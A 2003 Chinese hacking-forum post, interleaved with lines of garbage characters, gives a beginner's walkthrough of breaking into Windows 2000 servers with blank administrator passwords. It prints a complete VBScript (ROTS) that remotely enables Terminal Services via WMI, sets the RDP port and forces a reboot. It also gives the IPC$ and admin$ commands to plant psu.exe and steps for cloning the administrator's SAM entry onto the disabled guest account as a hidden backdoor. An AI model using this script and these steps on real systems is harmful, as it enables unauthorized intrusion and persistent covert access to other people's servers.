下沙论坛
标题:
一次简单的3389入侵
[打印本页]
作者:
firelinux
时间:
2003-3-17 15:34
标题:
一次简单的3389入侵
一次简单的3389入侵过程
9 l8 V \- g2 O5 v, N8 E
原创:caozhe(草哲)
) ~, \: V9 n9 R I
来源:中国欲网技术论坛--草哲
3 u7 [3 Z( N2 b# q8 N! T4 [, r
2 N! i& A/ \6 b! i
我在网上看到很多很多教你如何如何入侵之类的文章,我觉得对于菜鸟来说根本是看不懂的!
; f0 U$ X; i* \$ g% j; ]$ B
! ^9 i% _9 _/ f; y: ]
于是呢,我冒出个想法!想写篇简单点的,适合菜鸟的文章!把我学到的跟大家说一下~!
# b) }2 y$ D9 C7 Q6 b
要入侵,我建议你在win2000环境下来*作!
8 l& n+ F+ X! i# `0 T# Y( [
& Q Z/ v7 y; H! j2 i r
首先,要入侵,你得有工具!我向大家推荐几款软件,也是我一直用的东西!
; w4 A+ X, u& I- k- k P" B& `8 v
扫描的X-Scan V2.3、WINNTAutoAttack、流光!
* W+ i/ m2 P: j7 n; r% C6 G
X-Scan我最近很少用了,基本用的都是WINNTAutoAttack,当然,小榕的流光我也经常用!
( a, k* h( @0 k" B8 X, w
远程开终端需要一个脚本就可以了,代码请看二楼!保存为*.vbe(我保存的是rots.vbe)
5 `! {2 F7 F0 Z, B+ B+ g: I5 m! {2 t
克隆帐户用个psu就可以了~!
3 _/ a7 {# {! U# V" s) N/ e
( r: ^( p" h1 t: h# v
OK,比如扫描到了一个有NT弱口令的服务器,IP地址是120.0.0.1,管理员帐户是administrator,密码为空
$ B) e! ]. B. ?. a: ]' ?% \/ b8 X
运行CMD(2000下的DOS),我们给它开终端!
7 ]0 t" B, c8 `1 N H1 R1 t
命令如下!
" D @! H4 H- f& Y7 v0 }
cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr
5 p) U' E9 \" W: e' ~
上面的命令应该可以理解吧?cscript rots.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为120.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)
2 h. s) B f' Q8 l. Y: v
4 ~: h6 y: x5 `* ~; w, h' n( _! {
因为终端服务器只在win2000 server以上的版本(包括server)才有,PRO当然是不行的,此版本可以检测服务器的版本,如果是PRO的则提示你退出安装!
# \2 d( ?) K( \7 G/ M/ o
/ P; _$ j% p: {0 ]: x0 k2 w4 f, n" x- P
一切顺利,过会就可以连接到终端了,我们可以ping它,看是否重启,ping 120.0.0.1 -t
" d' `6 f/ _/ K3 X! m' b; o, s
安装后用连接工具连接终端!现在我们克隆帐户,呵呵,为了给以后方便嘛!
% a+ ^; |8 @9 T
0 S) Y- r" V* C8 w
回到DOS下!我们建立IPC$连接!
4 |& V' U2 i( A% j
net use \\120.0.0.1\ipc$ "" /user:"administrator"
" j& M- I% k* @( t' C! Z7 r$ _
这个命令我想应该可以理解吧!命令完成后,我们把psu上传到目标机的winnt\system32目录下!
: o! _( t, ^! A
copy psu.exe \\120.0.0.1\admin$\system32
0 ]6 q. S( T& g$ h5 [% w
上传完毕后,开始在肉鸡做后门帐户!看肉鸡!
! w; T1 U5 v& p* \% v
3 `2 ^2 R, c' c
假设guest用户被禁用,我们就是要利用guest做后门帐户!
+ U, M0 d, ?$ V: g8 p: M
在该服务器运行CMD,在命令行下输入
+ z$ y/ u6 V4 `; ]& e2 G
psu -p regedit -i PID
, X) C% ~5 s2 A h; f1 T
5 s- L7 z- I, j. v8 K
这里解释一下,后面的PID是系统进程winlogon的值,我们在任务栏下点鼠标右键,看任务管理器!
* N# w" r/ _- E7 u8 r# X
看进程选项卡,找到winlogon的进程,后面的数值就是winlogon的pid值,假设是5458
0 q; Z* ~8 K0 S l+ d/ y; I( }
那么,命令就是这样
! s/ o5 Y# S& N) A F% h
psu -p regedit -i 5458
$ B+ O# {9 n/ B/ {
这样直接打开注册表,可以读取本地sam的信息。
2 \. N3 t4 S4 }$ k
打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
) N! L1 m$ D4 P! I6 w( \8 }5 C
下面的就是本地的用户信息了!我们要做的是把禁用的guest克隆成管理员权限的帐户!
' h5 ]% H i3 \: P4 n! L
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
, R/ \% b) V4 G B+ L% H; y$ p7 q
查看administrator的类型,是if4,再看guest的是if5
) `: ^. j% f( B3 b
好了,知道了类型后,打开
( z' Y% `- K$ r: Q- k8 M
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
9 s1 a7 c/ a) ^2 c* H8 _0 u
这个值,双击右侧的F,把里面乱七八糟的字符复制下来,然后打开
7 _+ r9 H2 @. n6 h
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
- j5 w/ B! }" G1 Q6 J4 j! i
双击右侧的F,把刚复制的粘贴到里面!
3 a2 g) r% D4 |6 d2 O" H
$ V9 F& n) F( g, a7 R
做好了以后,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
1 f$ z& W( f) `7 H
和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest
9 A5 m5 O/ s0 B( \! ]
这两个键值导出,导出后把那两个键值删除!然后再导入进来!关闭注册表。
0 b# S9 V7 t& ]+ B! p' c" z! d
" Z# b2 i) ` x, `5 Y, Q
打开CMD,在命令行下输入
3 h2 r, `, o$ {8 z& v# n2 @3 _. u
net user guest password
! n4 r: N( U' W/ h/ {- d; {4 S
这条命令是给guest设置密码,后面的password就是密码
% P; a% [! r9 y. { G. C* U
然后输入
$ q& }- F0 B- z, l" X p! q* w6 \6 R
net user guest /active:y
0 w6 ]4 B& X, q( H2 `/ U& \
这命令是激活guest帐户,然后我们把他禁用
- G+ q: t2 ?/ M8 v4 u$ X2 u
net user guest /active:n
+ z0 Q. _3 h' g6 f0 p2 _/ P
上面的三行命令必须在DOS下执行!
9 y0 S+ P4 l7 Y1 L
5 x+ H0 k2 \1 N5 U- k
OK了,打开计算机管理,看用户,你们看,guest帐户还是被禁用的~!哈哈,但它已经拥有管理员权限了!
% @, v/ _ Q) s5 F
而且并不在管理员组里显示,还可以登陆终端,跟administrator帐户一样的!
% o% d' Q1 [, A3 c
1 U/ e) n5 U. Z; A) Z* u
注销一下,用guest登陆吧!
6 l% O0 G6 p8 |1 p, L5 `
8 D- w0 h. Z' v5 {9 H X2 D$ J5 K
打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊!
! Z3 l! \4 ]8 V0 M! R I
如果还有地方不明白的话,可以问我,我知道的一定告诉大家!
) A% h4 g. \7 N3 D! N: p4 U
8 @- i; N8 U7 E: X: H
因为本人也是菜鸟级的,会了点东西就不知道怎么好了,呵呵~`!如果哪里有不对的,还请高手指点啊~!
) n" @9 o: a; O# p2 ^1 L# _
$ E6 q8 f( x9 S; A7 `' e1 u: e( @9 N
----------------------------------------------------------------------
2 q# i& o3 e- D' c
以下是开终端的脚本,把它存为*.vbe
! z( j8 T/ K' `" w: ?6 ?* d
on error resume next
7 Y2 m; M2 C9 g* E, K/ R
set outstreem=wscript.stdout
0 Z/ I! Z! r3 p) U
set instreem=wscript.stdin
m5 ^% X! r: m& e5 ?) A
if (lcase(right(wscript.fullname,11))="wscript.exe") then
& o% {! _ c/ }1 `3 e% i
set objShell=wscript.createObject("wscript.shell")
/ b" e' j" M3 Z1 a8 q
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
, z+ C. q. f; M" Y; G% R3 d6 I
wscript.quit
: v! Z7 H" G4 s* J6 K
end if
8 z5 O8 i/ Y0 |
if wscript.arguments.count<3 then
# M3 p- m) G( w ^2 F
usage()
7 B1 w! F9 l% M. }3 \! {9 s
wscript.echo "Not enough parameters."
& ]# j3 |( A8 I! I" z4 k. f
wscript.quit
/ ~1 Q, m! f* z7 Q! t6 }
end if
5 a7 s6 n6 R0 e% W, {0 |
- Z: E, ] G& K( l$ C3 S, P
ipaddress=wscript.arguments(0)
0 W6 d$ J7 {: u. h8 K8 E
username=wscript.arguments(1)
7 P' M0 G" m5 C* d/ h. p
password=wscript.arguments(2)
" a `9 `; s& b$ u1 s/ m! Q
if wscript.arguments.count>3 then
- {" S3 N" y; y+ B7 {
port=wscript.arguments(3)
7 o; T0 Q6 ?: _/ Y
else
6 q \3 S1 P; a- R
port=3389
1 l; d4 w' x2 P8 e% W
end if
" V K1 `8 o* E& F& y& N
if not isnumeric(port) or port<1 or port>65000 then
% x0 T3 s& @3 a. b; [% g
wscript.echo "The number of port is error."
% L2 _& C% D& K1 w' ?
wscript.quit
; ~. O: z/ M5 e! b6 c9 ?: O W) d6 j
end if
4 b: W3 j7 H! I- F; g: {5 v
if wscript.arguments.count>4 then
# `& q6 N' a6 Q& s: _ l. S
reboot=wscript.arguments(4)
% B" h: _! b7 e4 x9 e( a
else
* X1 O& }) k7 ^; q4 H7 J# H
reboot=""
/ m- ~6 E) Q& b& ]3 E( x
end if
) M Q3 w+ ?) i; h- B8 {$ P5 _$ r
7 k1 m( R! ~; J% A0 i
usage()
6 Y0 j: @% `0 u t3 H. F6 Z
outstreem.write "Conneting "&ipaddress&" ...."
7 P0 X0 p8 _ z: o6 }8 E2 G$ d2 F
set objlocator=createobject("wbemscripting.swbemlocator")
' s$ j4 U/ E' R r
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
3 k6 }3 G0 d/ r$ A
showerror(err.number)
; p9 }6 w/ _2 @5 M$ i9 N
objswbemservices.security_.privileges.add 23,true
x' a. o0 Q6 Z6 Y! ~9 `, V% b1 ]
objswbemservices.security_.privileges.add 18,true
% A1 R& t) A3 X8 J
9 A1 I/ I( ^2 B/ m
outstreem.write "Checking OS type...."
" v' |4 P2 e/ V% J7 _ R
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
7 E6 ^+ u* f& E
for each objinstoscaption in colinstoscaption
& X) t. J* n$ x/ t! Y& r
if instr(objinstoscaption.caption,"Server")>0 then
0 }# l1 S5 o* g
wscript.echo "OK!"
# e I1 Q ~% B
else
2 f+ r3 }" s, m: n
wscript.echo "OS type is "&objinstoscaption.caption
1 a0 M* O1 ?- M ?
outstreem.write "Do you want to cancel setup?[y/n]"
$ D8 ?" U5 ^8 H- e
strcancel=instreem.readline
2 z( M* R+ \& b, c3 A" {9 z( Y
if lcase(strcancel)<>"n" then wscript.quit
& [) n- n d7 L# @
end if
" g. c* v: Z: h( Z/ \
next
. j$ ]; E* c. [+ R$ H# @7 p
$ }" h( s7 b7 {$ z# F& ~
outstreem.write "Writing into registry ...."
1 y& \1 h5 T3 {8 T7 G. b% a
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
+ ?7 Q6 ]& n# _, `: B
HKLM=&h80000002
9 e: P, S; o- y0 m( L0 z
HKU=&h80000003
: ~& m" c( N# H+ M
with objinstreg
4 j4 }! K- i* F! A4 }2 L- B! Z* f8 E8 p
.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
7 F2 @7 G1 o8 g8 C$ I/ i$ D, L
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0
8 A$ n7 c' C. B3 q
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"
6 S: E7 b- u% y' L& c
.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1
9 \9 T5 O; _0 M
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1
; D8 m1 \) |! l% B7 w, z
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2
6 o* e3 J' \2 ~1 z" `
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2
, s& ? u- c3 n
.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"
# r1 m+ {9 A0 ?' d: v5 W
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port
) b: D# h1 A9 ?) v2 F& J& M
end with
. p {% e2 A& ~* n9 {
showerror(err.number)
# G+ ]& Y% V+ \2 s4 q7 v
' U4 A: |/ _+ \* \0 A3 v
rebt=lcase(reboot)
" \9 h' e* A* q K' ~
flag=0
# E: i4 u& s- h1 H, q& f% U
if rebt="/r" or rebt="-r" or rebt="\r" then flag=2
$ ?0 f) F) p! H4 S
if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6
# w2 Z+ b! ~6 T
if flag<>0 then
; r" ]. H# b5 e {# ?4 P
outstreem.write "Now, reboot target...."
$ m. C7 Q7 M. f) ~! U( O
strwqlquery="select * from win32_operatingsystem where primary='true'"
2 a1 y" w* T6 P, E
set colinstances=objswbemservices.execquery(strwqlquery)
' b- R4 x7 U$ l4 @1 P( T. h F
for each objinstance in colinstances
5 N* j8 W5 e/ K( j0 X
objinstance.win32shutdown(flag)
2 o$ G+ ` @) b* z6 X
next
6 K n7 d8 h2 [& p; @9 @6 r
showerror(err.number)
. F) q; f4 y$ _
else
- k! ~" a( A3 g9 @# F
wscript.echo "You need to reboot target."&vbcrlf&"Then,"
+ r, W" W0 Q" i% m* v
end if
: f' K$ D& o: d8 G8 ]
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"
$ }' ]; W0 k; h0 E& d3 g
- g! C8 w# |8 ^$ s8 V# k
function showerror(errornumber)
$ }# D. y7 j* O; F! [1 J3 A
if errornumber Then
* H2 k" }$ ^/ P5 h; Q; w
wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
; @) o3 E; P) e' I) c4 o% W
if err.description <> "" then
, ?$ ?6 k& r% k4 T) u
wscript.echo "Error description: "&err.description&"."
& G0 [5 B5 d: x8 {8 u" _
end if
' I& _4 w9 M" M
wscript.quit
, y5 K8 I' U' ^& a7 \* t) g- w6 X! a
else
( W h6 e, b" q/ f3 c
wscript.echo "OK!"
' x) |1 h, S! l' ~6 b$ ]
end if
4 M: ]6 F; v# m5 q" L
end function
6 I% s$ m: ^7 u0 `9 `( J ~
7 @ e, l, ?( v8 ` W; I" U
function usage()
3 [% B& v& }$ r% i
wscript.echo string(79,"*")
: @- \/ L u* ~/ [
wscript.echo "ROTS v1.05"
# b# p, X3 D" P' S2 t/ `& o
wscript.echo "Remote Open Terminal services Script, by 草哲"
w7 F0 F2 ^$ c, e: o( E+ u, {
wscript.echo "Welcome to visite www.5458.net"
4 h" X3 Q- `' U2 J7 f* i
wscript.echo "Usage:"
( e, t6 o, r5 B* s3 @+ f1 J
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"
0 l% z+ |1 E2 S/ c+ c
wscript.echo "port: default number is 3389."
+ G% b2 T2 W* H2 d. w' M4 R
wscript.echo "/r: auto reboot target."
8 u8 A3 @) k; J
wscript.echo "/fr: auto force reboot target."
) a2 X3 W! b: \+ [& e; s' d
wscript.echo string(79,"*")&vbcrlf
; q8 |! \ I# W# w& D( I
end function
& f$ A. }% g+ z& W
/ G/ E% S5 O R0 B- B1 m; {; F
转自安全焦点
作者:
安哲有德
时间:
2003-3-20 00:24
提示:
作者被禁止或删除 内容自动屏蔽
作者:
安哲有德
时间:
2003-3-20 00:28
提示:
作者被禁止或删除 内容自动屏蔽
作者:
安哲有德
时间:
2003-3-20 00:30
提示:
作者被禁止或删除 内容自动屏蔽
作者:
丧心病狂
时间:
2003-3-20 14:00
提示:
作者被禁止或删除 内容自动屏蔽
欢迎光临 下沙论坛 (http://bbs.xiasha.cn/)
Powered by Discuz! X3.3